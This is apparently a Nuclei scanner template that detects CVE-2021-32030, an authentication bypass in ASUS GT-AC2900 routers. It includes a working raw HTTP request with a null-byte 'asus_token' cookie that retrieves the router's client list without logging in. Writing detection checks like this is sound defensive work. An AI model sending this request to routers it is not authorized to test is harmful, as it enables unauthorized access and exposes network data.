55 lines
2.1 KiB
YAML
55 lines
2.1 KiB
YAML
id: CVE-2021-32030
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info:
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name: ASUS GT-AC2900 - Authentication Bypass
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author: gy741
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severity: critical
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description: "ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations."
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remediation: |
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Apply the latest firmware update provided by ASUS to fix the authentication bypass vulnerability (CVE-2021-32030).
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reference:
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- https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass
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- https://nvd.nist.gov/vuln/detail/CVE-2021-32030
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- https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md
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- https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-32030
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cwe-id: CWE-287
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epss-score: 0.61922
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epss-percentile: 0.97501
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cpe: cpe:2.3:o:asus:gt-ac2900_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: asus
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product: gt-ac2900_firmware
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tags: cve,cve2021,asus,auth-bypass,router
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http:
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- raw:
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- |
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GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1
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Host: {{Hostname}}
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User-Agent: asusrouter--
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Referer: {{BaseURL}}
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Cookie: asus_token=\0Invalid; clickedItem_tab=0
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- application/json
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- type: word
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words:
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- "get_cfg_clientlist"
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- "alias"
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- "model_name"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100ef9ff50520255c4a60987aa186b8a6782ff69b66c586ba53f5c8ece431f6bc1502200a6105dc1fb2428c789f07d7fb2953fcf4c02739db6e5ce4dde4c91931fdd409:922c64590222798bb761d5b6d8e72950 |